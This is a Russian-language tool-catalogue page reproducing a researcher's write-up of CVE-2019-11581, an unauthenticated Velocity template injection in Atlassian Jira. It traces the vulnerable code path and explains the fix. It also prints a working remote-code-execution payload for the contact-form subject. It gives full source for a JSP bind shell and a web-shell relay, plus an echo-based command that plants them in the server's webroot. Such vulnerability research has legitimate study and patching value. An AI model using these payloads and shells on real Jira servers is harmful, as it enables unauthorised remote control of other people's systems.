Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-11581 — Atlassian Jira неавторизованная инъекция шаблонов | Kitploit
Инструменты/GitHubGitHub/petrusviet/cve-2019-11581
Анализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

Atlassian Jira неавторизованная инъекция шаблонов

Репозиторий
62594 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Неавторизованная инъекция шаблонов в Atlassian Jira (CVE-2019-11581)

I) Сборка

1. Уязвимые версии

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. Сборка и отладка

  • Измените значение set JVM_SUPPORT_RECOMMENDED_ARGS= в файле ./bin/setenv.bat (или аналогично в ./bin/setenv.sh для Linux), чтобы включить удаленную отладку
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • В IDE (Intellij) создаем конфигурацию отладки: Remote JVM Debug с параметрами host и port localhost:5005 и Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Запустите ./bin/config.bat (или ./bin/config.sh для Linux) и измените "Jira home" на свою домашнюю директорию Jira image

  • Запустите ./bin/start-jira.bat (или ./bin/start-jira.sh для Linux). Проверьте, что версия Java и порты 8080 и 5005 свободны, иначе не запустится!

  • Выбираем private mode image

  • На этом этапе используйте email, на который можно получить письмо :) image

  • Настройте и протестируйте соединение image

  • По адресу http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa включите функцию Contact Administrators Form image

  • Я лишь отмечаю некоторые моменты при сборке, вы можете обратиться к building jira from source

II) Анализ

После прочтения Advisory мы узнали, что эта ошибка находится в ContactAdministrators и SendBulkMail (это мы пропускаем, так как требуется аутентификация). Поэтому я начал тестировать функцию ContactAdministrators и перехватил запрос

image

  • Я увидел запрос к /secure/ContactAdministrators.jspa, поэтому посмотрел файл ./atlassian-jira/WEB-INF/web.xml, чтобы узнать, в какой класс направляется этот запрос
    image
    image

  • Таким образом, запрос обрабатывается в JiraWebworkActionDispatcher, поэтому я поставил точки останова на init и serve в этом классе и запустил отладку image

  • Программа остановилась на функции serve, немного проследив, программа перешла в ContactAdministrators.doExecute() image

  • Затем переходим к send, здесь программа выводит список активных администраторов image

  • Затем программа переходит к функции sendTo. Здесь мы видим, что программа создает MailQueueItem и добавляет его в mailQueue. image

  • Программа вызывает функцию EmailBuilder.withSubject. Здесь строка subject письма (отправленная атакующим) преобразуется из String в TemplateSources и присваивается параметру subjectTemplate класса EmailBuilder. image

  • В функции renderLater программа создает EmailRenderer и использует его для создания RenderingMailQueueItem image

  • Отсюда, возвращаясь к функции ContactAdministrators.sendTo. После создания MailQueueItem программа добавляет элемент в mailQueue и возвращается к doExecute для перенаправления. Если следовать этому потоку отладки, мы не можем перейти к части, где программа рендерит письмо, поэтому не можем добраться до места, где происходит инъекция шаблона. Что же делать, чтобы отследить обработку письма???

  • Я заметил, что в EmailRenderer есть функция renderNow (программа вызывает только renderLater). Я предположил, что когда письмо из очереди вызывается для рендеринга, оно будет следовать тому же потоку, что и renderNow, поэтому я решил трассировать от функции renderNow image

  • Из renderNow программа вызывает EmailRenderer.render(). Я поставил точку останова здесь и повторил запрос, чтобы проверить, действительно ли программа доходит до этого места image

  • К счастью, программа пошла по предполагаемому пути. Далее программа вызывает renderEmailSubject image

  • Далее программа вызывает DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

  • Доходим до DefaultVelocityTemplatingEngine.applying и DefaultVelocityTemplatingEngine.asPlainText image

  • Продолжаем вызов к asPlainText(Writer writer) image

  • Доходим до toWriterImpl, так как writer, который я передал, является Fragment, программа переходит к else

root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • И вызывает DefaultVelocityManager.writeEncodedBodyForContent image
  • Продолжаем через VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Здесь программа создала SimpleNode из Reader image
  • Программа доходит до функции render, здесь она вызывает nodeTree.render(ica, writer); для парсинга шаблона Velocity, следовательно, здесь возможна инъекция шаблона!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Возможно RCE здесь ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • Я заменил тему письма контакта на полезную нагрузку Velocity шаблона:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • И мы успешно воспроизвели PoC :) image

Стек вызовов

root@kitploit:~
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

Таким образом, мы можем выполнить RCE на сервере Jira, но что если мы хотим получить оболочку, но сервер не имеет исходящего доступа? В этом случае мы не можем создать обычный bind/reverse shell, так как у нас нет порта для выхода в интернет.

Я получил подсказку от @honson97: "использовать веб-страницу jsp для получения ввода от атакующего и передачи его в независимую bind-оболочку, которая прослушивает localhost сервера".

image

Основываясь на этой идее, я написал два файла jsp: web.jsp и bind.jsp. bind.jsp выполняет роль слепой оболочки, постоянно прослушивает localhost:4444, принимает команды, переданные в cmd/base, и возвращает результат веб-странице web.jsp, а web.jsp является инструментом для ввода/вывода команд атакующего.

файл: web.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

файл: bind.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

Далее нужно загрузить оболочку на сервер. Поскольку мы рассматриваем случай без исходящего доступа, мы можем загрузить файл только с помощью команды echo. Сначала я удаляю символы "\n" и экранирую специальные символы (с помощью Python)

root@kitploit:~
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

затем копируем полученную строку и вставляем в полезную нагрузку

root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()

После загрузки двух файлов web.jsp и bind.jsp. Заходим на /bind.jsp, затем в другой вкладке открываем /web.jsp?cmd=COMMAND для проверки оболочки image

Исправление

В ContactAdministrators.sendTo(), вместо прямой передачи ввода от клиента в функцию EmailBuilder.withSubject для преобразования в источники шаблона (которые могут быть обработаны), в исправленной версии разработчики передают ввод в виде строкового контекста и просто передают строку "$subject" в EmailBuilder.withSubject. При рендеринге система выполняет шаблон "$subject", то есть загружает subject — строковый контекст (ввод от клиента) — но не обрабатывает его. Другими словами, программа загружает ввод как строку, а не как обрабатываемый шаблон.

Версия с ошибкой

image

Исправленная версия

image

Скачать инструмент